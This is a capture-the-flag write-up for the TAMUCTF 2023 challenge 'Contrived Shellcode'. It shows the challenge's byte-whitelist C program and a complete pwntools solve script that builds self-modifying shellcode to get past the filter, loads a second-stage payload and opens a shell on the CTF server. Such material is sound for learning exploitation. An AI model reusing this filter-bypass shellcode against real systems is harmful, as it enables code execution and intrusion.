Contrived Shellcode
05/04/2023
By: unvariant
Tags: pwn TAMUCTF-2023Problem Description:
There's a 0% chance this has any real world application, but sometimes it's just fun to test your skills.
Hints:
Reveal Hints
NoneThe challenge provides a few files:
├── contrived-shellcode
├── contrived-shellcode.c
└── solver-template.py
The main script accepts shellcode only containing certain characters:
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char whitelist[] = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f";
void check(unsigned char* code, int len) {
for (int i = 0; i < len; i++) {
if (memchr(whitelist, code[i], sizeof(whitelist)) == NULL) {
printf("Oops, shellcode contains blacklisted character %02X at offset %d.\n", code[i], i);
exit(-1);
}
}
}
int main() {
unsigned char* code = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int len = read(0, code, 0x100);
if (len > 0) {
if (code[len - 1] == '\n') {
code[len - 1] = '\0';
}
check(code, len);
((void (*)())(code))();
}
}
I did not know how to solve this challenge until I found a writeup by nobodyisnobdy for
gelcode-2
, a shellcode challenge that
was even more restrictive than this one. In gelcode-2
the whitelist consisted of bytes from 0 to 5 inclusive.
Their solution takes advantage that the shellcode memory is writeable. It sets up eax
to a specific value, then modifies
the next instruction using add [rip + 0], eax
to a valid instruction. I reused their method to solve this problem because
the constraints are the same.
Exploit
01 05 00 00 00 00 add DWORD PTR [rip+0x0],eax
05 00 00 00 00 add eax,0x0
We can use these two instructions to create instructions we would otherwise not be able to access because of the whitelist. The target instructions to generate are:
xor eax, eax
xor edi, edi
lea rsi, [rip + 0]
mov edx, 0x400
Then afterward perform a syscall to write new shellcode that is not restricted by the whitelist, and pop a shell.
Solve script
from pwn import *
import subprocess
""" inspired by https://github.com/nobodyisnobody/write-ups/tree/main/RedpwnCTF.2021/pwn/gelcode-2 """
"""
eax: initial value of eax
instr: list of bytes to write (must be length 4)
known: the value of the bytes already in the buffer
"""
def modify (eax, instr, known=[0, 0, 0, 0]):
global sc
assert(len(instr) == 4)
assert(len(known) == 4)
code = []
eax = [(eax >> i * 8) & 0xff for i in range(4)]
for i in range(4):
if eax[i] + known[i] > instr[i] and i < 3:
instr[i + 1] -= 1
instr[i + 1] &= 0xff
while any([(eax[i] + known[i]) & 0xff != instr[i] for i in range(4)]):
addend = [0, 0, 0, 0]
for i in range(4):
diff = instr[i] - ((eax[i] + known[i]) & 0xff)
if diff >= 0:
byte = min(diff, 15)
else:
byte = min(256 + diff, 15)
addend[i] = byte
eax[i] += byte
addend = sum([addend[i] << i * 8 for i in range(4)])
if addend > 255:
code.append(f"add eax, 0x{addend:x}")
else:
code.append(f"add al, 0x{addend:x}")
sc += "\n".join(code) + "\n"
eax = sum([eax[i] << i * 8 for i in range(4)])
return eax
sc = ".intel_syntax noprefix\n"
eax = modify(0, [0xba, 0, 4, 0], [0xf, 0, 4, 0])
sc += "add [rip + 0], eax\n"
sc += ".byte 0xf, 0, 4, 0, 0\n"
eax = modify(eax, [0xbf, 0, 0, 0], [0xf, 0, 0, 0])
sc += "add [rip + 0], eax\n"
sc += ".byte 0xf, 0, 0, 0, 0\n"
eax = modify(eax, [0x48, 0x8d, 0x35, 0x00], [0x0F, 0x0F, 0x0F, 0x05])
sc += "add [rip + 0], eax\n"
sc += ".byte 0xf, 0xf, 0xf, 5, 0, 0, 0\n"
eax = modify(eax, [0x31, 0xc0, 0xf, 5], [0xf, 0xf, 0xf, 5])
sc += "add [rip + 0], eax\n"
sc += ".byte 0xf, 0xf\n"
sc += "syscall\n"
with open("attack.s", "w") as f:
f.write(sc)
subprocess.call(["as", "attack.s", "-o", "attack.o"])
subprocess.call(["objcopy", "-I", "elf64-x86-64", "-O", "binary", "attack.o", "attack.bin"])
with open("attack.bin", "rb") as f:
sc = f.read()
assert(len(sc) <= 256)
p = remote("tamuctf.com", 443, ssl=True, sni="contrived-shellcode")
#p = process("./contrived-shellcode")
p.send(sc.ljust(256, b"\x00"))
# magic offset number from gdb
offset = len(sc) - 0x92
p.send(b"A" * offset + open("shell.bin", "rb").read())
p.interactive()
Alternate solutions
- after a syscall,
rcx
is set to the address of the next instruction